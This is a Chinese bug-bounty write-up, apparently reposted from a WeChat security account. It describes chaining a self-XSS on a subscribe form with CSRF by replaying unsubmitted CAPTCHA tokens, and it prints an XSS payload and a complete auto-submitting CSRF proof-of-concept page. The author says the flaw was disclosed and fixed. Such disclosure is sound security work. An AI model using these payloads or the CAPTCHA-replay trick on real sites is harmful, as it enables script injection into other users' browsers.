为了保持匿名性,我们假设目标网站是 https://www.target.com。当你访问 target.com 时,会看到一个注册和登录表单,但引起我注意的是一个订阅按钮,该按钮会将你引导至 https://www.target.com/subscribe。在这个页面上,会显示一个表单。
提交表单后,我们会收到一条感谢消息,其中显示了我们的名字(例如 John)。
确认 XSS 漏洞
我们可以使用以下 payload 在该字段中测试反射型 XSS 漏洞:
"><svg/onload=confirm(document.domain)>
当我们提交表单时,payload 被成功执行。现在我们已经确认了漏洞的存在,但问题在于,这个漏洞基于 POST 请求,如果没有 CSRF 的配合,它就会变成一个自我 XSS(Self XSS)。
确认 CSRF 漏洞
如果 CAPTCHA 没有被稳健地实现,它并不能保护应用程序免受 CSRF 攻击,主要作用只是提供一定程度的速率限制。在解决 CAPTCHA 后,会生成三个动态参数:captcha_sid
、captcha_token
和 g_recaptcha_response
。这里的“动态”是指它们的值会在每次解决 CAPTCHA 时发生变化。要构造一个完美的 CSRF 表单,我们需要能够为这些参数传递有效的值。
那么,如果我在另一个浏览器中解决了 CAPTCHA,但不将其提交到服务器,而是将这些答案重放到 CSRF 表单中,会怎样呢? 我在一个私密标签页中打开了表单页面,填写了表单内容,然后解决了 CAPTCHA。我在 Burp Suite 中启用了拦截功能,并点击了提交。请求被拦截后,我复制了 CAPTCHA 参数的值,并将它们插入到我的 CSRF 漏洞利用演示(PoC)表单中。
<html>
<body>
<h1>CSRF PoC</h1>
<formaction="https://www.target.com/subscribe"method="POST">
<inputtype="hidden"name="name_first"value="'><svg/onload=confirm(document.domain)>" />
<inputtype="hidden"name="name_last"value="Doe"/>
<inputtype="hidden"name="email_address"value="[email protected]"/>
<inputtype="hidden"name="company_name"value="FakeCompany"/>
<inputtype="hidden"name="captcha_sid"value="INSERT-HERE"/>
<inputtype="hidden"name="captcha_token"value="INSERT-HERE"/>
<inputtype="hidden"name="captcha_response"value="Google no captcha"/>
<inputtype="hidden"name="g-recaptcha-response"value="INSERT-HERE"/>
<inputtype="hidden"name="captcha_cacheable"value="1"/>
<inputtype="hidden"name="op"value="Submit"/>
<inputtype="hidden"name="form_build_id"value="form-Vwtw-XX&"/>
<inputtype="hidden"name="form_id"value="XX_subscribe_sign_up_form"/>
<inputtype="submit"value="Submit request"/>
</form>
<script>
history.pushState('','','/');
document.forms[0].submit();
</script>
</body>
</html>
剩下要做的就是将这个 CSRF 漏洞利用表单托管起来,让受害者访问。受害者访问你的恶意网站后,会被重定向到 https://www.target.com/subscribe,订阅表单会在没有任何交互的情况下自动提交,JavaScript 代码则会在他们的浏览器中执行。
总结来说,CAPTCHA 并未绑定到用户的会话,因此未提交的其他用户的 CAPTCHA 答案可以被重放,用于我们的攻击。
我将这一发现提交给了他们的安全团队,他们迅速确认并修复了这个问题。
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):记一次Self XSS+CSRF组合利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论